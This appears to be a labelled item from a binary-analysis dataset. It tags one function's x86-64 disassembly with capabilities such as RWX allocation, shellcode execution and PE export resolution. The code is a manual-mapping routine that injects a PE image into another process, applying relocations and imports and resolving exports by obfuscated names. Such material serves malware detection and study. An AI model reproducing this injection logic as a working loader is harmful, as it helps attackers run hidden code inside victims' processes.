Function at 0x140010f50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rdx
push rbp
push rsi
push rdi
push r12
lea rbp, [r11 - 0x58]
sub rsp, 0x138
xor eax, eax
mov rsi, rdx
mov rdi, rcx
mov r12d, eax
mov qword [rsp + 0x30], rax
cmp dword [rcx + 0xac], eax
jne 0x1400117a1
mov qword [r11 - 0x28], rbx
mov rbx, qword [rcx + 0xb0]
mov qword [r11 - 0x30], r13
mov eax, 0x5a4d
mov qword [r11 - 0x38], r14
lea r13d, [r12 + 8]
mov qword [r11 - 0x40], r15
cmp word [rbx], ax
jne 0x140011751
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rsp + 0x48], r13
cmp dword [r13], 0x4550
jne 0x14001174b
mov r8d, dword [r13 + 0x50]
mov rdx, qword [r13 + 0x30]
mov r14d, 0x40
mov r9d, 0x2000
mov rcx, rsi
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140011032
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x14001174b
mov r8d, dword [r13 + 0x50]
xor edx, edx
mov r9d, 0x2000
mov rcx, rsi
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov qword [rsp + 0x38], rax
test rax, rax
je 0x14001174b
mov r8d, dword [r13 + 0x54]
mov eax, 4
mov r14, r15
sub r14, qword [r13 + 0x30]
mov r9d, 0x1000
mov rdx, r15
mov rcx, rsi
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x14001174b
mov r12d, dword [r13 + 0x54]
mov r8, rbx
mov rbx, qword [rbp + 0x68]
lea rax, [rbp - 0x80]
mov rdx, rsi
mov rcx, rbx
mov r9d, r12d
mov qword [rbp - 0x80], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011746
cmp qword [rbp - 0x80], r12
jne 0x140011746
mov r8d, dword [r13 + 0x54]
lea rax, [rbp + 0x78]
mov r9d, 2
mov rdx, rsi
mov rcx, rbx
mov dword [rbp + 0x78], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140011746
movzx eax, word [r13 + 0x14]
xor ebx, ebx
mov qword [rbp - 0x68], rax
mov r12d, ebx
cmp bx, word [r13 + 6]
jae 0x1400111e3
lea rbx, [rax + r13 + 0x28]
nop dword [rax]
mov ecx, dword [rbx]
mov eax, dword [rbx - 8]
mov edx, dword [rbx - 4]
cmp eax, ecx
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
cmova ecx, eax
add rdx, r15
mov esi, ecx
mov r8d, ecx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x140011746
mov rdx, qword [rsp + 0x30]
mov ecx, esi
call fcn.14000e210
mov r8d, esi
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x30], rax
call sub.msvcrt.dll_memset
mov r8, qword [rsp + 0x30]
mov rcx, qword [rbp + 0x68]
xor eax, eax
mov r9d, esi
mov rdx, r13
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011746
cmp qword [rsp + 0x68], rsi
jne 0x140011746
mov eax, dword [rbx]
test eax, eax
je 0x1400111c7
mov r8d, dword [rbx + 4]
mov rcx, qword [rbp + 0x68]
mov esi, eax
add r8, qword [rdi + 0xb0]
xor eax, eax
mov r9d, esi
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov rdx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011746
cmp qword [rsp + 0x58], rsi
jne 0x140011746
mov r13, qword [rsp + 0x48]
inc r12d
add rbx, 0x28
movzx eax, word [r13 + 6]
cmp r12d, eax
jl 0x1400110f0
xor ebx, ebx
test r14, r14
je 0x14001131e
mov edx, dword [r13 + 0xb0]
mov rcx, rdi
call fcn.140011ea0
mov r13, rax
test rax, rax
je 0x140011746
cmp dword [rax], 0
je 0x14001131e
mov esi, dword [r13 + 4]
lea r12, [r13 + 8]
mov dword [rbp + 0x70], ebx
sub rsi, 8
mov qword [rbp - 0x78], rbx
shr rsi, 1
test esi, esi
je 0x14001130c
nop
movzx ecx, word [r12]
movzx eax, cx
shr ax, 0xc
cmp ax, 3
jne 0x14001129a
and ecx, 0xfff
add ecx, dword [r13]
mov ebx, ecx
mov edx, ecx
mov rcx, rdi
call fcn.140011ea0
lea rdx, [rbx + r15]
lea r8, [rbp + 0x70]
mov ecx, dword [rax]
mov r9d, 4
lea eax, [r14 + rcx]
mov rcx, qword [rbp + 0x68]
mov dword [rbp + 0x70], eax
xor eax, eax
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011746
cmp qword [rsp + 0x78], 4
jmp 0x1400112f8
cmp ax, 0xa
jne 0x1400112fe
and ecx, 0xfff
add ecx, dword [r13]
mov ebx, ecx
mov edx, ecx
mov rcx, rdi
call fcn.140011ea0
lea rdx, [rbx + r15]
lea r8, [rbp - 0x78]
mov rcx, qword [rax]
mov r9d, 8
lea rax, [r14 + rcx]
mov rcx, qword [rbp + 0x68]
mov qword [rbp - 0x78], rax
xor eax, eax
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011746
cmp qword [rsp + 0x60], 8
jne 0x140011746
add r12, 2
dec esi
jne 0x140011230
xor ebx, ebx
mov eax, dword [r13 + 4]
add r13, rax
cmp dword [r13], 0
jne 0x140011210
mov rbx, qword [rsp + 0x48]
mov rcx, rdi
mov edx, dword [rbx + 0x90]
call fcn.140011ea0
mov r12, rax
test rax, rax
je 0x140011466
movabs r14, 0x8000000000000000
cmp dword [r12], 0
jne 0x140011372
cmp dword [r12 + 0x10], 0
jne 0x140011372
cmp dword [r12 + 8], 0
jne 0x140011372
cmp dword [r12 + 0xc], 0
jne 0x140011372
cmp dword [r12 + 4], 0
je 0x140011461
xor eax, eax
mov qword [rsp + 0x50], rax
mov eax, dword [r12 + 0xc]
test eax, eax
je 0x140011347
mov edx, eax
mov rcx, rdi
call fcn.140011ea0
mov rcx, rdi
mov rdx, rax
call fcn.1400129e0
mov r13, rax
test rax, rax
je 0x140011746
mov edx, dword [r12]
test rdx, rdx
jne 0x1400113b1
mov edx, dword [r12 + 0x10]
mov rcx, rdi
call fcn.140011ea0
mov esi, dword [r12 + 0x10]
mov rcx, qword [rax]
add rsi, r15
mov rbx, rax
test rcx, rcx
je 0x140011458
test r14, rcx
je 0x1400113db
movzx r8d, cx
jmp 0x1400113ea
mov rdx, rcx
mov rcx, rdi
call fcn.140011ea0
lea r8, [rax + 2]
mov rdx, r13
mov rcx, rdi
call fcn.140012bc0
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140011746
mov rcx, qword [rdi + 0x90]
xor eax, eax
lea r8, [rsp + 0x50]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov r9d, 8
mov rdx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011746
cmp qword [rsp + 0x70], 8
jne 0x140011746
mov rcx, qword [rbx + 8]
add rbx, 8
add rsi, 8
test rcx, rcx
jne 0x1400113d0
add r12, 0x14
jmp 0x140011347
mov rbx, qword [rsp + 0x48]
mov r12d, dword [rbx + 0x88]
mov rcx, rdi
mov edx, r12d
mov qword [rsp + 0x40], r12
call fcn.140011ea0
mov r15, rax
test rax, rax
je 0x140011746
mov edx, dword [rax + 0x1c]
mov rcx, rdi
call fcn.140011ea0
mov edx, dword [r15 + 0x20]
mov rcx, rdi
mov r14, rax
call fcn.140011ea0
mov edx, dword [r15 + 0x24]
mov rcx, rdi
mov qword [rbp - 0x70], rax
call fcn.140011ea0
mov ecx, dword [rbx + 0x8c]
mov r13, rax
lea eax, [r12 + rcx]
xor ecx, ecx
mov dword [rbp + 0x60], eax
mov esi, ecx
cmp dword [r15 + 0x14], ecx
jbe 0x140011619
mov ebx, dword [r14]
add r14, 4
test ebx, ebx
je 0x14001160d
cmp ebx, r12d
jb 0x1400114ed
cmp ebx, eax
jb 0x14001160d
mov r8d, dword [r15 + 0x18]
mov edx, ecx
test r8d, r8d
je 0x14001160b
nop dword [rax]
movzx eax, word [r13 + rcx*2]
cmp eax, esi
je 0x140011519
inc edx
inc rcx
cmp edx, r8d
jb 0x140011500
jmp 0x140011608
mov rax, qword [rbp - 0x70]
mov edx, dword [rax + rcx*4]
mov rcx, rdi
call fcn.140011ea0
mov rcx, qword [str.xYSyN1]
lea rdx, [rbp - 0x60]
mov r12, rax
call fcn.14000deb0
lea rdx, [rbp - 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140011565
mov r12, qword [rsp + 0x40]
mov rax, rbx
add rax, qword [rsp + 0x38]
mov qword [rdi + 0xf8], rax
jmp 0x140011608
mov rcx, qword [str.hjH9eQ0iP]
lea rdx, [rbp - 0x60]
call fcn.14000deb0
lea rdx, [rbp - 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x14001159c
mov r12, qword [rsp + 0x40]
mov rax, rbx
add rax, qword [rsp + 0x38]
mov qword [rdi + 0x100], rax
jmp 0x140011608
mov rcx, qword [str.S1Qp_xQR_J_pNf]
lea rdx, [rbp - 0x60]
call fcn.14000deb0
lea rdx, [rbp - 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x1400115d3
mov r12, qword [rsp + 0x40]
mov rax, rbx
add rax, qword [rsp + 0x38]
mov qword [rdi + 0x108], rax
jmp 0x140011608
mov rcx, qword [str.xJAX_EcM_]
lea rdx, [rbp - 0x60]
call fcn.14000deb0
lea rdx, [rbp - 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov r12, qword [rsp + 0x40]
test eax, eax
jne 0x140011608
mov rax, rbx
add rax, qword [rsp + 0x38]
mov qword [rdi + 0x110], rax
mov eax, dword [rbp + 0x60]
xor ecx, ecx
inc esi
cmp esi, dword [r15 + 0x14]
jb 0x1400114d1
cmp qword [rdi + 0xf8], 0
je 0x140011746
cmp qword [rdi + 0x100], 0
je 0x140011746
cmp qword [rdi + 0x108], 0
je 0x140011746
cmp qword [rdi + 0x110], 0
je 0x140011746
mov r12, qword [rsp + 0x48]
mov esi, ecx
cmp cx, word [r12 + 6]
jae 0x14001170e
mov rax, qword [rbp - 0x68]
mov r13d, 0x80
lea rbx, [rax + r12 + 0x3c]
lea r14d, [r13 - 0x40]
mov eax, dword [rbx]
bt eax, 0x1d
jae 0x1400116a5
bt eax, 0x1e
jae 0x140011695
bt eax, 0x1f
mov r9d, 0x20
cmovb r9d, r14d
jmp 0x1400116cf
bt eax, 0x1f
mov r9d, 0x10
cmovb r9d, r13d
jmp 0x1400116cf
bt eax, 0x1e
jae 0x1400116bb
test eax, 0x80000000
mov eax, 4
lea r9d, [rax - 2]
jmp 0x1400116cb
test eax, 0x80000000
mov r9d, 1
mov eax, 8
cmovne r9d, eax
mov edx, dword [rbx - 0x18]
mov r8d, dword [rbx - 0x1c]
mov dword [rbp + 0x60], ecx
add rdx, qword [rsp + 0x38]
mov rcx, qword [rbp + 0x68]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140011746
movzx eax, word [r12 + 6]
inc esi
add rbx, 0x28
mov ecx, 0
cmp esi, eax
jl 0x140011677
mov rax, qword [rsp + 0x38]
mov r8d, 1
mov rcx, rdi
mov rdx, rax
mov qword [rdi + 0x118], rax
call fcn.140012990
mov r12, qword [rsp + 0x30]
mov r13d, 8
test eax, eax
je 0x140011751
mov dword [rdi + 0xac], 1
jmp 0x140011751
mov r12, qword [rsp + 0x30]
mov r13d, 8
cmp dword [rdi + 0xac], 0
mov r15, qword [rsp + 0x118]
mov r14, qword [rsp + 0x120]
mov rbx, qword [rsp + 0x130]
jne 0x14001177a
mov rcx, rdi
call fcn.140012f00
test r12, r12
je 0x140011792
mov rcx, qword [0x14001e780]
mov r8, r12
mov edx, r13d
call qword [0x14001e798]
mov rax, qword [rdi + 0x118]
mov r13, qword [rsp + 0x128]
add rsp, 0x138
pop r12
pop rdi
pop rsi
pop rbp
ret